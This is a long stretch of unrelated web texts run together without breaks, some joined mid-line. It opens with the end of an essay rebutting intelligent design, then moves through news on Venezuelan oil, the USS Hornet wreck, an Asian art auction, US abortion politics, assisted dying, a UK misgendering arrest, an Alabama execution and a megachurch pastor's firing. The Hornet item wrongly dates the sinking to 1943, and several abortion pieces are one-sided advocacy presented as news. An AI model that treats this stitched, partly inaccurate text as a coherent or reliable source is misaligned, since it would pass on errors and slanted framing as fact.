Yet evolutionary biologists have answers to these objections. First, there exist flagellae with forms simpler than the one that Behe cites, so it is not necessary for all those components to be present for a flagellum to work. The sophisticated components of this flagellum all have precedents elsewhere in nature, as described by Kenneth R. Miller of Brown University and others. In fact, the entire flagellum assembly is extremely similar to an organelle that Yersinia pestis, the bubonic plague bacterium, uses to inject toxins into cells.

The key is that the flagellum's component structures, which Behe suggests have no value apart from their role in propulsion, can serve multiple functions that would have helped favor their evolution. The final evolution of the flagellum might then have involved only the novel recombination of sophisticated parts that initially evolved for other purposes. Similarly, the blood-clotting system seems to involve the modification and elaboration of proteins that were originally used in digestion, according to studies by Russell F. Doolittle of the University of California, San Diego. So some of the complexity that Behe calls proof of intelligent design is not irreducible at all.

Complexity of a different kindspecified complexityis the cornerstone of the intelligent-design arguments of author William A. Dembski in his books The Design Inference and No Free Lunch. Essentially his argument is that living things are complex in a way that undirected, random processes could never produce. The only logical conclusion, Dembski asserts, in an echo of Paley 200 years ago, is that some superhuman intelligence created and shaped life.

Dembski's argument contains several holes. It is wrong to insinuate that the field of explanations consists only of random processes or designing intelligences. Researchers into nonlinear systems and cellular automata at the Santa Fe Institute and elsewhere have demonstrated that simple, undirected processes can yield extraordinarily complex patterns. Some of the complexity seen in organisms may therefore emerge through natural phenomena that we as yet barely understand. But that is far different from saying that the complexity could not have arisen naturally.

Misleading Semantics of Creationism

Only methodological naturalism can determine how all life came to be

Creation science is a contradiction in terms. A central tenet of modern science is methodological naturalismit seeks to explain the universe purely in terms of observed or testable natural mechanisms. Thus, physics describes the atomic nucleus with specific concepts governing matter and energy, and it tests those descriptions experimentally. Physicists introduce new particles, such as quarks, to flesh out their theories only when data show that the previous descriptions cannot adequately explain observed phenomena. The new particles do not have arbitrary properties, moreovertheir definitions are tightly constrained, because the new particles must fit within the existing framework of physics.

In contrast, intelligent-design theorists invoke shadowy entities that conveniently have whatever unconstrained abilities are needed to solve the mystery at hand. Rather than expanding scientific inquiry, such answers shut it down. (How does one disprove the existence of omnipotent intelligences?)

Intelligent design offers few answers. For instance, when and how did a designing intelligence intervene in life's history? By creating the first DNA? The first cell? The first human? Was every species designed, or just a few early ones? Proponents of intelligent-design theory frequently decline to be pinned down on these points. They do not even make real attempts to reconcile their disparate ideas about intelligent design. Instead they pursue argument by exclusionthat is, they belittle evolutionary explanations as far-fetched or incomplete and then imply that only design-based alternatives remain.

Logically, this is misleading: even if one naturalistic explanation is flawed, it does not mean that all are. Moreover, it does not make one intelligent-design theory more reasonable than another. Listeners are essentially left to fill in the blanks for themselves, and some will undoubtedly do so by substituting their religious beliefs for scientific ideas.

Time and again, science has shown that methodological naturalism can push back ignorance, finding increasingly detailed and informative answers to mysteries that once seemed impenetrable: the nature of light, the causes of disease, how the brain works. Evolution is doing the same with the riddle of how the living world took shape. Creationism, by any name, adds nothing of intellectual value to the effort. J.R.

Other Resources for Defending Evolution

How to Debate a Creationist: 25 Creationists' Arguments and 25 Evolutionists' Answers. Michael Shermer. Skeptics Society, 1997. This well-researched refutation of creationist claims deals in more depth with many of the same scientific arguments raised here, as well as other philosophical problems.

Skeptic magazine routinely covers creation/evolution debates and is a solid, thoughtful source on the subject: www.skeptic.com

Defending Evolution in the Classroom: A Guide to the Creation/Evolution Controversy. Brian J. Alters and Sandra M. Alters. Jones and Bartlett Publishers, 2001. This up-to-date overview of the creation/evolution controversy explores the issues clearly and readably, with a full appreciation of the cultural and religious influences that create resistance to teaching evolution. It, too, uses a question-and-answer format that should be particularly valuable for teachers.

Science and Creationism: A View from the National Academy of Sciences. Second edition. National Academy Press, 1999. This concise booklet has the backing of the country's top scientific authorities. Although its goal of making a clear, brief statement necessarily limits the detail with which it can pursue its arguments, the publication serves as handy proof that the scientific establishment unwaveringly supports evolution. It is also available via www.nap.edu/catalog

The Triumph of Evolution and the Failure of Creationism. Niles Eldredge. W. H. Freeman and Company, 2000. The author, a leading contributor to evolution theory and a curator at the American Museum of Natural History in New York City, offers a scathing critique of evolution's opponents.

Intelligent Design Creationism and Its Critics. Edited by Robert T. Pennock. Bradford Books/MIT Press, 2001. For anyone who wishes to understand the intelligent design controversy in detail, this book is a terrific one-volume summary of the scientific, philosophical and theological issues. Philip E. Johnson, Michael J. Behe and William A. Dembski make the case for intelligent design in their chapters and are rebutted by evolutionists, including Pennock, Stephen Jay Gould and Richard Dawkins.

Talk. Origins archive ( www.talkorigins.org ). This wonderfully thorough online resource compiles useful essays and commentaries that have appeared in Usenet discussions about creationism and evolution. It offers detailed discussions (some of which may be too sophisticated for casual readers) and bibliographies relating to virtually any objection to evolution that creationists might raise.

National Center for Science Education Web site ( www.ncseweb.org ). The center is the only national organization that specializes in defending the teaching of evolution against creationist attacks. Offering resources for combating misinformation and monitoring antievolution legislation, it is ideal for staying current with the ongoing public debate.The healing process from sexual assault is deeply personal and varies by individual, but a rape survivor and the man who raped her have teamed up to share their story in order to bring light to the social issue.

Thordis Elva was raped in 1996 at 16 years old by Tom Stranger, her boyfriend at the time. After over 20 years, the pair has teamed together to talk candidly about their individual experience's of the rape during a TED Talk in San Francisco in October. The two of them are also co-authors of a book being released in March titled "South of Forgiveness," which tells the tale of what they both call "the darkest moment of their lives."The political crisis in Venezuela risks disrupting global crude markets as the type of oil pumped by the OPEC member becomes increasingly scarce, according to the International Energy Agency.

The U.S., Venezuelas biggest customer, is banning oil imports from the country as it condemns President Nicolas Maduro for fraudulently clinging to power after disputed elections. Venezuelas output is already at the lowest in decades as a spiraling economic crisis takes its toll on oil infrastructure.

While global markets remain comfortably supplied, disruption in Venezuela poses a threat because production of the heavier, higher-sulfur crude it pumps is being reduced elsewhere, the IEA said in a monthly report. The Organization of Petroleum Exporting Countries is cutting output to prevent a worldwide surplus, while member nation Iran is being hit by American sanctions.

FERC WOES: Pipeline fight drags on, tempting intervention from Trump

In terms of crude-oil quantity, markets may be able to adjust after initial logistical dislocations, said the Paris-based IEA, which advises major economies on energy policy. Crude-oil quality is another issue, and, in the wider context of supply in the early part of 2019, it is even more important.

Oil prices have remained steady near $60 a barrel in London even as turmoil builds in Venezuela, as markets work through plentiful supplies accumulated last year, the IEA said. But a shortfall of heavy-sour crude can cause complications for many refiners, such as those along the U.S. Gulf Coast, configured to process it.

Heavy-sour supplies are common in OPEC, whose members started a new round of production cutbacks last month. The group made a strong start to the strategy, slashing output by 930,000 barrels a day to the lowest in almost four years, the IEA said.

PIPELINES: Two pipelines hold joint open season to move crude oil from Permian Basin to Houston Ship Channel

The cartel is broadly on track to keep markets balanced this year, even though demand for its crude will be lower than previously thought, the IEAs report indicated. OPEC pumped about 30.8 million barrels a day in January, just above the 30.7 million required on average in 2019.

Estimates for how much crude is needed from OPEC were lowered by 300,000 barrels a day from last months assessment amid surging supplies from its rivals, driven by the U.S. shale boom. American supply growth this year will exceed Venezuelas total output, the IEA said, another signal that OPECs efforts to buoy prices may ultimately prove self-defeating.

The IEA kept forecasts for global oil demand unchanged, despite signs of slowing economic growth, as consumption remains supported by lower crude prices and the startup of petrochemical projects in China and the U.S.

2019 Bloomberg L.P.The USS Hornet sunk off the coast of the Solomon Islands on Oct. 26, 1943, after a ferocious, days-long battle with Japanese forces. In January, almost eight decades later, a research vessel funded by the late Microsoft co-founder Paul G. Allen, discovered the ship at the bottom of the Pacific Ocean.

The Hornet  the seventh U.S. navy vessel so named  played an essential role in the Doolittle Raid of 1942, the first airborne attack of Japanese homeland targets, as well as the Battle of Midway, which historians consider a turning point in the Pacific front of World War II. The ship set sail from the former Alameda Naval Air Station ahead of the Doolittle Raid.

Allen's Research Vessel Petrel discovered the Hornet in late January, about 17,500 feet below the surface of the South Pacific Ocean. Photographs in the above gallery show the vessel largely decomposed after decades underwater.

"We had Hornet on our list of WWII warships that we wanted to locate because of its place in history as an aircraft carrier that saw many pivotal moments in naval battles," said Robert Kraft, director of subsea operations for Vulcan, in a statement. "Paul Allen was particularly interested in historically significant and capital ships, so this mission and discovery honor his legacy."

Allen died in October 2018 after a decades-long battle with Hodgkin's lymphoma. He was 65.

The Hornet sunk during the Battle of Santa Cruz Island, following relentless fire from Japanese aircraft. Of a crew of nearly 2,200, 111 sailors were lost. The 10-person Petrel crew was able to locate the Hornet by analyzing data from archival deck logs and action reports recorded after the Santa Cruz battle. The Petrel's autonomous underwater vehicle discovered the Hornet on its first dive mission.

"With the loss of Hornet and serious damage to Enterprise, the Battle of Santa Cruz was a Japanese victory, but at an extremely high cost," said Rear Admiral (Ret.) Samuel Cox, director of Naval History and Heritage Command, in a statement. "About half the Japanese aircraft engaged were shot down by greatly improved U.S. Navy anti-aircraft defenses.

"As a result, the Japanese carriers did not engage again in battle for almost another two years."

Read Michelle Robertson's latest stories and send her news tips at mrobertson@sfchronicle.com.

Start receiving breaking news emails on wildfires, civil emergencies, riots, national breaking news, Amber Alerts, weather emergencies, and other critical events with the SFGATE breaking news email. Click here to make sure you get the news.She noticed things other people didnt see

Baroness Eva Bessenyey devoted her life to exploring the world and, in the process, developed a passion for bronze and stone sculpture, textiles and paintings from across Asia. On 20 March, many of these works will be offered in New York

Baroness Eva Bessenyey (1922-2018) was a woman who expressed her independent spirit through a love of languages, horses and, above all, travel. Born into an artistic, aristocratic family in Hungary, she moved to the United States when German forces invaded Hungary, and her father, Baron Gyorgy Bessenyey, managed to secure a safe passage for his family. He would later become the Hungarian Secretary of State in exile. In the early 1950s, Eva Bessenyey packed her bags and, against her fathers advice, went to work in Bolivia. After spending 18 months in Sucre, in the countrys southern highlands, she disappeared alone down the Amazon, travelling by mule and canoe. It took the Barons considerable diplomatic ingenuity to find her. Prone to extended bouts of wanderlust, the young Eva combined travel with work at the publishing firm Harcourt Brace. Whenever she told her bosses that she simply had to travel, their reply was that there could be no guarantees that her desk would be there when she got back. Invariably, it was. Her thirst for adventure took her to Egypt, Iran, Yemen, Nepal and Turkey, in addition to most of Europe. Her love of the Middle East prompted her to teach herself Arabic, and she also spoke Hungarian, French, English, German and Spanish.

My aunt broke the mould and it took great courage. She would not let anyone define her  Ilona Bessenyey

She was the kind of person who, if you said no to her, would take it as an invitation to go ahead and do it, her niece, Ilona Bessenyey, recalls. She was the most non-conformist woman I ever knew. On 20 March in New York, Christies will offer 48 works from the collection of the late Baroness Eva Bessenyey as part of the Indian, Himalayan & Southeast Asian Works of Art sale. The works include Southeast Asian bronze and stone sculpture, ritual and decorative objects from India, Nepal and Tibet, as well as a selection of Indian and Nepalese paintings.

A gilt-bronze figure of Padmapani Lokeshvara, Tibet, 17th-18th century. 7 in (18.1 cm) high. Estimate $60,000-80,000. Offered on 20 March in the Indian, Himalayan & Southeast Asian Works of Art sale at Christies in New York

Eva Bessenyeys beautiful Manhattan home became a showcase for the collection of outstanding artefacts she acquired on her peregrinations, and also from auction houses and trusted dealers. Along the way, she developed an eye for Buddhist and Hindu devotional art and rugs, also becoming an expert in the woven arts.

The 18th-century Tibeto-Chinese bronze figure of Sarasvati. 5 in (12.7 cm) high. Estimate $20,000-30,000. Offered on 20 March in the Indian, Himalayan & Southeast Asian Works of Art sale at Christies in New York The bronze figure of Sarasvati with the lute Baroness Eva Bessenyey drew, cut out and placed in her lap

She noticed things other people didnt see, says Ilona Bessenyey. Im just stunned by the quality of the objects she collected. The Baronesss niece recalls two objects with particular fondness. The first, a sandstone stele of Ganesha (below) that dominated the living room, was originally owned by Mr and Mrs Paul Manheim, two of the pioneering collectors of Asian art in America. The Ganeshas elaborate crown, curled trunk and portly belly make it incredibly endearing, says Jacqueline Dennis Subhash, Head of the Indian, Himalayan and Southeast Asian Art department at Christies. The other was an 18th-century bronze figure of Sarasvati (above) with a missing musical instrument. My aunt drew a perfect lute, cut it out, and placed it in her lap, Ilona explains.

A sandstone stele of Ganesha, Vietnam, Late Cham Period, 15th century. 13 in (34 cm) high. Estimate $10,000-15,000. Offered on 20 March in the Indian, Himalayan & Southeast Asian Works of Art sale at Christies in New York

Eva Bessenyey collected quirky, beautiful and significant works of Himalayan art, says Dennis Subhash, who cites a rare 17th-century gilt-bronze figure of Padmapani Lokeshvara (pictured above the Sarasvati bronze) as an exceptionally sophisticated example of later Tibetan sculpture, and a testament to the keen eye of the collector.

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news to your inbox every week SubscribeTrump vows to protect 'millions of innocent beautiful babies' at Texas rally

Donald Trump appealed to his pro-life supporter base on Tuesday when he repeated his promise to protect the lives of the unborn.

Crowds of supporters at his Make America Great Again rally in El Paso, Texas, broke into rapturous applause as Trump told them he had asked Congress to 'immediately pass legislation prohibiting extreme late-term abortion'.

'Millions of innocent beautiful babies are counting on us to protect them. And we will,' he said.

The US president laid into Virginia Governor Ralph Northam who found himself at the centre of a media storm last month after describing a hypothetical situation in which a mother and doctor might agree the late-term abortion of a severely deformed baby.

The Democratic governor told the WTOP-FM radio station: '[Third trimester abortions are] done in cases where there may be severe deformities. There may be a fetus that's nonviable. So in this particular example, if a mother is in labor, I can tell you exactly what would happen.

'The infant would be delivered. The infant would be kept comfortable. The infant would be resuscitated, if that's what the mother and the family desired, and then a discussion would ensue between the physicians and the mother.'

Northam made the comments while defending Virginia Democratic delegate Kathy Tran's bill seeking to loosen restrictions on late-term abortions.

Asked in the legislature if her bill would allow abortion up to the moment of birth where the mother was 'dilating', she answered: 'My bill would allow that, yes.'

Trump told the El Paso rally that Northam's position amounted to supporting the 'execution' of babies.

'But the governor stated that he would even allow a newborn baby to come out into the world and wrap the baby and make the baby comfortable and then talk to the mother and talk to the father and then execute the baby,' he told the jeering crowd.

'Execute the baby ... incredible,' he added.

His comments were welcomed by pro-life group the Susan B. Anthony List, which tweeted, 'Thank you, @POTUS for standing strong for LIFE!'

Trump made a similar pledge in his State of the Union address last month during which he attacked New York state's recently passed bill allowing abortion up to the moment of birth in some circumstances.

'There could be no greater contrast to the beautiful image of a mother holding her infant child than the chilling displays our nation saw in recent days,' Trump said.

'Lawmakers in New York cheered with delight upon the passage of legislation that would allow a baby to be ripped from the mother's womb moments before birth.

'These are living, feeling, beautiful, babies who will never get the chance to share their love and dreams with the world.'

He added: 'I am asking Congress to pass legislation to prohibit the late-term abortion of children who can feel pain in the mother's womb. Let us work together to build a culture that cherishes innocent life. And let us reaffirm a fundamental truth: all children  born and unborn  are made in the holy image of God.'Legalising assisted dying would send the message that 'some people are not worth protecting'

Changing the law to allow assisted dying runs the risk of making terminally ill and disabled people believe that their lives are worth less than others.

Writing in The Sunday Express, Care Not Killing spokesman Dr Anthony McCarthy warned that legalising assisted suicide would create a system that encouraged some people to wrongly think that they were a burden to society who should 'tidy themselves away'.

Dr McCarthy, who is also senior bioethicist at the Society for the Protection of Unborn Children, said any changes to the law would only 'send out a strong message that the lives of some people are not worth protecting'.

He further warned that permitting assisted dying may also lead to an increase in suicide more generally.

'Medicine is the art of healing. It cares for patients and does not end their lives,' he said.

'Offering death, not support, as a solution is a counsel of despair. There are more suicides of all kinds in places where assisted suicide is allowed.

'A law to allow assisted suicide would change the very nature of medicine, which would no longer be seen as about healing people, caring for the most vulnerable, and alleviating their suffering.

'We would have a system where people who no longer value their lives but see themselves as a burden would be helped to "tidy themselves away".'

The debate around assisted dying has re-surfaced after Geoffrey Whaley wrote posthumously to MPs calling for the legalisation of assisted dying after ending his life last week at the Dignitas clinic in Switzerland. He suffered from terminal motor neurone disease.

The Royal College of Physicians has also been embroiled in a row over a poll that some members believe may lead to it showing 'tacit support' for assisted suicide.

Although the RCP currently opposes assisted suicide, it announced last month that it would adopt a neutral position unless the poll resulted in a 60 per cent majority for or against.

Over 1,400 doctors have denounced the poll in an open letter organised by Dr David Randall as part of a new campaign group called Our Duty of Care.

The letter to RCP president Professor Andrew Goddard said: 'It seems perfectly clear the survey has been designed to ensure the college drops its long-standing opposition to assisted suicide and move instead to a position of so-called 'neutrality'.

'Indeed, at a recent council meeting, a new default position of neutral was adopted prior to the announcement of the new poll, without any involvement of the wider membership.

'We acknowledge members may hold different views on this sensitive issue. But by going neutral, the college is sending a clear signal of support for a law change. Given the most recent poll of members showed a majority were opposed to assisted suicide, the approach the college is taking is extraordinary.'British woman arrested, investigated for calling transgender woman a man

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A 38-year-old British mother of two was arrested and detained for several hours after calling a transgender woman a man on social media. She remains under investigation.

Kate Scottow of Hitchin, Hertfordshire, was arrested and detained by three officers, who took her photograph, DNA and fingerprints and confiscated her mobile phone and laptop.

Although the incident took place on Dec. 1 of last year, Scottow remains under investigation and was served with a court order banning her from calling the transgender individual a man online.

I was then detained for seven hours in a cell with no sanitary products (which I said I needed) before being interviewed then later released under investigation, stated Scottow on the online forum Mumsnet, as reported by the Daily Mail last weekend.

I was arrested for harassment and malicious communications because I called someone out and misgendered them on Twitter.

Hertfordshire Police confirmed the arrest in a statement to the Daily Mail, saying that they take all reports of malicious communication seriously.

Stephanie Hayden, a lawyer and transgender individual, filed a complaint against Scottow, accusing the mother of deadnaming Hayden, which is a term that means referring to a transgender person by their former name.

According to court papers, Scottow was accused of posting defamatory tweets on the social media outlet and for referring to Hayden not only as male but also as a racist, xenophobic and a crook.

For her part, Scottow has denied harassing Hayden, adding that she holds a genuine and reasonable belief that an individual cannot practically speaking change sex.

The United Kingdom has extensive hate speech laws. In 2003, the nation banned online communication that may cause annoyance, inconvenience or needless anxiety to another.

According to an October 2017 article by The Times, approximately 3,300 people were detained and questioned for what they wrote online in 2016 alone.

Of that number, The Times found that roughly half of the investigations into the complaints were dropped before prosecutors brought charges against the accused.

Earlier this year, 74-year-old Margaret Nelson, a former humanist celebrant and blogger who lives in Suffolk, received a phone call by police to take down posts in which she was critical of transgender ideology.

Later, a spokesperson for the Suffolk Police sent a statement to The Spectator explaining that the call was a mistake, noting that they made a misjudgement in following up a complaint regarding the blog.

As a result of this we will be reviewing our procedures for dealing with such matters. We are sorry for any distress we may have caused in the way this issue was dealt with, and have been in contact with the woman who wrote the blog to apologise, stated the police.Supreme Court blocks Louisiana law regulating abortionists

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The U.S. Supreme Court on Thursday temporarily blocked Louisiana from implementing an abortion clinic regulation that was enacted four years ago but has been mired in a court battle since.

In a 5-4 decision, with Chief Justice John Roberts as the swing vote, the justices granted the appeal in June Medical Services, LLC v. Gee, which prohibits Louisiana from implementing Act 620, the Unsafe Abortion Protection Act, that requires abortion providers to have admitting privileges at a hospital within 30 miles of where they perform abortions. The law would have gone into effect on Monday.

Supreme Court Justices Samuel Alito, Neil Gorsuch, Clarence Thomas, and Brett Kavanaugh formed the minority that would have denied the appeal to keep the law from going into effect.

In his dissent, Kavanaugh wrote that the abortionists challenging the law have not sufficiently shown that they would be denied admitting privileges if the law took effect.

In order to resolve the factual uncertainties presented in the stay application about the three doctors ability to obtain admitting privileges, I would deny the stay without prejudice to the plaintiffs ability to bring a later as applied complaint and motion for preliminary injunction at the conclusion of the 45-day regulatory transition period, wrote Kavanaugh.

The court adopts an approach  granting the stay and presumably then granting certiorari for plenary review next term of the plaintiffs pre-enforcement facial challenge  that will take far longer and be no more beneficial than the approach suggested here.

Pro-life activists, including Americans United for Life President Catherine Glenn Foster, expressed disappointment in the Supreme Courts decision.

Americans United for Life is disappointed that a bare majority of Supreme Court Justices continued to stay the enforcement of a commonsense safety measure that will protect Louisianas women from substandard abortion practitioners, said Foster in an email to supporters.

We look forward to a closer look at the real facts of this case by the Court, and were confident that on doing so, the Justices will vote to uphold it.

The Center for Reproductive Rights, a pro-choice organization that filed the June Medical Services lawsuit in 2017, took to social media to celebrate the court's decision.

The Supreme Court stepped in to protect our rights by blocking a clinic shutdown law just hours before taking effect in Louisiana. Next, we will ask it to hear our case and strike down the law for good, tweeted the Center on Thursday.

Last September, a three-judge panel of the U.S. Court of Appeals for the Fifth Circuit upheld the Louisiana law and then the full court declined to reverse the decision, leading the plaintiffs to file an appeal to the Supreme Court.Ralph Northam more interested in wearing blackface than saving black babies: black pastor says

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RICHMOND, Va.  A conservative African-American pastor and former U.S. Senate candidate has denounced Virginia Democrats like Gov. Ralph Northam for their views on abortion, declaring that they are more interested in wearing blackface than they are interested in saving black babies.

Northam has had many calls for his resignation for admittedly wearing blackface in a talent competition where he posed as Michael Jackson and did the moon walk. That revelation was proceeded by his comments last week in support of abortion and apparent support for allowing unwanted babies to die after being born.

Soon after, Virginia Attorney General Mark Herring, a fellow pro-choice Democrat, also admitted to wearing blackface at a college party.

Pastor E.W. Jackson was one of several speakers at a pro-life rally held Thursday morning outside the state capitol building in response to Northams recent comments on abortion.

During his remarks before a large crowd of pro-life activists, Jackson declared that the mask is off, the hypocrisy has been revealed, now we know who they really are.

Anybody who is prepared to allow a child to die after that child has been born alive in order to fulfill the plans and purposes of the abortion industry does not deserve to be called a pediatrician, said Jackson, referencing Northams professional background.

In fact, you dont deserve to be a governor, either. You deserve to be called a monster.

Jackson called for Northam to resign from being governor, receiving loud cheers from the audience in response.

To every black voter in the Commonwealth of Virginia: stop voting for these Democrats who are more interested in wearing blackface than they are interested in saving black babies, Jackson continued.

In an interview with The Christian Post, Jackson said that he felt obligated to speak at the rally because he was appalled by the governors statement on abortion.

Im pro-life and I wanted to be here to take a stand with others who are pro-life, said Jackson, who called Northams comments beyond the pale.

Jackson also told CP that he believed although Northam has, for the time being, refused to resign, the governors standing is ruined.

I think hes done politically. He may decide just to hold on because there is no constitutional mechanism to getting rid of him. But either way, I think he has shifted the political landscape in Virginia, continued Jackson.

I think theyve lost a large swath of black voters who are appalled by the blackface and the racism and now theyre opening up to the fact that abortion disproportionately affects black people and black women.

Northams comments came in defense of a proposed bill named Virginia House Bill 2491, which among other things would remove various state-level regulations of abortion, such as removing a 24-hour waiting period and the mandate that second trimester abortions take place in a hospital setting.

Democrat Delegate Kathy Tran, who introduced the bill, garnered controversy of her own when, during a committee hearing earlier last week, said her bill would allow an abortion up the moment of birth.

Republican state Sen. Mark Peake, who came to the rally in support of the pro-life cause, told CP that Tran's bill was not passing.

The Republicans have ended that bill, explained Peake, adding that the comments that Northam made in support of that bill were inexcusable.

I think thats why youre seeing the outpouring of people here today; to show that in Virginia we still support life and we will defend human life.

Republican state Sen. Amanda Chase gave an opening prayer at the rally, saying in her supplication that the recent actions of the states leadership have hurt the very heart of God.

Father God, I ask You to heal our land. Forgive us, she said, eventually leading the rally attendees in a reciting of the Lords Prayer.

In addition to Chase and Jackson, other speakers included several state legislators, clergy, and pro-life activists, among them Sen. Dick Black; Hugh Brown of the American Life League; Leslie Davis Blackwell of the Silent No More Campaign; and the Rev. Dean Nelson; Frederick Douglas of the Leadership Institute; Victoria Cobb of The Family Foundation of Virginia, and Delegate Nick Freitas.

A couple of the speakers talked about their experiences of having an abortion, explaining to those gathered their regrets over their decision.

Attendees held signs with such statements as Thou Shalt Not Kill, Defund Planned Parenthood, Virginia Will Not Stand for Infanticide, Save the Children, and Abortion is not of God.

Diana Shores, a pro-life activist who helped organize the event, told CP that it wasnt challenging to organize the event because the people were ready to do something in response to the governors statements.

People in Virginia are Christian, theyre pro-life. You go across this Commonwealth and youll see that there are Judeo-Christian values still alive and well here, said Shores.

It all came together. Everyone had something to say and we were willing to give them a mic to say it. And I believe that this is not going to be the last rally like this across the Commonwealth because are hungry for leaders to rise up and to eradicate abortion in Virginia.

The Christian Post reached out to the office of Gov. Ralph Northam for comment but a response was not received.Religious freedom is for Muslims too

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Religious freedom must be for everyone, or we all suffer.

Last week, a Muslim on death row requested the presence of an imam at his execution. The state of Alabama denied this request even though it had allowed it for executed inmates who requested a Christian pastor. We add our voice to the Christian leaders who have condemned this act.

Domineque Ray was executed Feb. 7 for murdering a teen girl after the U.S. Supreme Court declined to review his request for a religious accommodation. The court's conservatives, Samuel Alito, Neil Gorsuch, Brett Kavanaugh, John Roberts and Clarence Thomas, who ostensibly were nominated partly due to their support for religious freedom, denied the request, while the court's liberals, Stephen Breyer, Ruth Bader Ginsburg, Elana Kagan and Sonia Sotomayor, dissented.

In 1990, the Supreme Court ruled in Oregon v. Smith against a member of the Native American Church who sought a religious accommodation regarding his use of peyote, a banned hallucinogenic, as part of a religious ritual. A law that is neutral with regard to religion  banned people of all religions, not just the Native American Church, from using peyote  didn't violate the free exercise of religion, the Court reasoned at the time.

Both conservatives and liberals united in opposition to that court's "neutrality principle" and passed the Religious Freedom Restoration Act. They recognized that all of us were in danger of losing our religious freedom if the state could infringe upon our religious practice as long as its actions applied to all religious groups.

Instead of neutrality, RFRA codified an "accomodationist" principle. The government could still restrict your religious freedom under this principle, but to do so it would have to prove to a court that it had no other option. In the words of RFRA, there must be a "compelling governmental interest" and the government must use "the least restrictive means." Essentially, this means that the government will do its best to accommodate everyone's religious belief and practice, and will only restrict religious liberty when it has a really good reason to do so.

After Congress passed RFRA and the Supreme Court ruled it doesn't apply to state laws, many states passed their own version, including Alabama, which amended its constitution.

Alabama argued that Ray's imam hadn't gone through the training that the Christian pastors had gone through. But the accommodation principle implies the state will make extra effort to accommodate our faith. Alabama could've expedited the imam's application, or delayed the execution. If we allow our government to use "that would be hard" as an excuse, religious freedom is endangered for us all.

Kagan used the principles embodied in RFRA to support her dissent, joined by the court's other three liberals.

"To justify such religious discrimination, the State must show that its policy is narrowly tailored to a compelling interest," she wrote.

This is a welcome change from the liberal wing of the court. When the conservative Christian owners of Hobby Lobby asked for a religious accommodation under RFRA, those same four justices were in the minority. The five conservatives, three of which still sit on the court, were in the majority.

To secure religious freedom for all, we need consistency from the court. The religious freedom of Christians shouldn't depend on having a conservative majority; the religious freedom of Muslims shouldn't depend on having a liberal majority. In defense of the religious liberty embodied in the First Amendment, courts and other government officials must make the effort to accommodate the religious beliefs and practices of all.Most pro-choice Americans oppose late term abortion: poll

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Around two-thirds of Americans who identify as pro-choice oppose third trimester abortions, according to a newly released poll by YouGov and the pro-life group Americans United for Life.

Last month, New York state garnered national headlines when Gov. Andrew Cuomo signed a bill into law that effectively allows for abortions for any reason up until the moment of birth.

Soon after, from Feb. 6-7, YouGov and AUL conducted a national survey of 1,145 American adults, 53.1 percent of whom identified as pro-choice. The margin of error was not included in the report.

According to an AUL announcement released Tuesday, the survey found that 68 percent of pro-choice Americans oppose abortion on the day before a baby is born, 66 percent oppose abortion in the third trimester, and 77 percent oppose ending medical care for a viable baby.

AUL President Catherine Glenn Foster said in a statement in response to the survey's findings that she believed they showed the American peoples common-sense appreciation for the sanctity of life and the widespread horror, even among self-identified pro-choice Americans, of new laws like New Yorks.

Planned Parenthood and elected officials like Governor Cuomo who support abortions up to the point of birth are out of step with not only their supposed core constituents  but also our countrys essential tenets of life, liberty, and the opportunity to pursue happiness, Foster said Tuesday.

It is our hope that the critical information brought to light here will advance the democratic process by inspiring more Americans to hold their representatives and public institutions to account.

In January, Cuomo signed the Reproductive Health Act soon after state legislators passed the bill on the 46th anniversary of the 1973 United States Supreme Court ruling Roe v. Wade.

Similar legislation is being seriously consider in other states.

In Rhode Island, a state legislator introduced the Reproductive Health Care Act, with Gov. Gina Raimondo having expressed support for the bill should it come to her desk.

In Vermont, more than 90 members of the General Assembly have opted to co-sponsor H. 57, which seeks to codify state law allowing for abortions at all stages of pregnancy.

Last month, the Students for Life of America's Institute for Pro-Life Advancement released a poll that found strong support among millennial-aged Americans for restrictions on abortion access.

The institutes January poll was conducted by the polling company inc./WomanTrend with a sample space of 400 respondents and a margin of error of 4.9 percent.

According to the institutes January report, 70 percent of millennial respondents supported limits on abortion. This included 42 percent opposing abortion broadly and 28 percent supporting specific policies like parental notification and limiting abortion later in pregnancy.Harvest Bible Chapel founding pastor James MacDonald fired; 'shocking' audio revealed

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Longtime leader of the Chicago-area megachurch Harvest Bible Chapel James MacDonald has been ousted as senior pastor in light of unsavory remarks he made on a hot mic that were aired on local media Tuesday.

In an elders update posted on the church website Wednesday, the HBC elders stated "with great sadness" that they had determined that MacDonald should be removed from his role at the church. This action, they explained, came about following "highly inappropriate recorded comments" MacDonald had made that were played on the air of a local radio program Tuesday morning.

"Given that and other conduct under consideration, in accordance with the procedures in our Bylaws, Pastor MacDonald was removed as Senior Pastor and as an Elder of the church for engaging in conduct that the Elders believe is contrary and harmful to the best interests of the church. His employment has been terminated from Harvest Bible Chapel, effective today, February 12, 2019," the elder update reads.

"This decision was made with heavy hearts and much time spent in earnest prayer, followed by input from various trusted outside advisors."

MacDonald's firing comes after the publication of a lengthy investigative piece by Julie Roys in World magazine. Her article, "Hard Times at Harvest," which took eight months to complete, documented alleged financial malfeasance, abusive dynamics within the church from the top-down  particularly MacDonald's temper  and a culture of fear and intimidation.

Chicago radio host Matthew Erich "Mancow" Muller, who is a former parishioner of HBC, played portions of recorded comments of MacDonald on his WLS/AM 890 show Tuesday.

Among the things said in the audio is MacDonald talking about planting child pornography on Christianity Today CEO's Harold Smith's computer, crude remarks about Julie Roys  including joking that she had an affair with CT Editor-in-Chief Mark Galli  and a vulgar reference to Ed Stetzer, executive director of the Billy Graham Center at Wheaton College. Muller also threatened to start a class-action lawsuit against MacDonald and the church.

Writing on her blog Tuesday, Roys articulated her disgust, calling MacDonald's words "shocking" and "breathtaking."

She explained that in addition to his rude comments, she was troubled that MacDonald accused her and someone else who used to attend HBC of approaching the homes of people who were victims in a DCFS investigation, shouting at them about a cover-up at the church.

MacDonald can be heard in the audio saying that Roys was off the rails and that in 30 days she was going to be riding a tricycle with a midget on [her] shoulders.

The allegation that she was harassing people was "a complete fabrication," Roys asserted Tuesday.

The Chicago radio personality is reportedly in possession of approximately 100 more hours of MacDonald on tape. He is planning to air in its entirety the 50-minute conversation from which he played audio excerpts Tuesday in an upcoming podcast.

Muller had claimed Friday on his Twitter feed that MacDonald was being ousted. The Christian Post reached out to HBC at the time to confirm that but received no response.

In a Wednesday post, Roys expressed relief MacDonald was finally out.

"No longer can he prey on the sheep he was supposed to protect. No longer can he use church members money to line his pockets. No longer can he rage on innocent employees and get people to believe the lies hes spread about those who challenge him," Roys wrote.

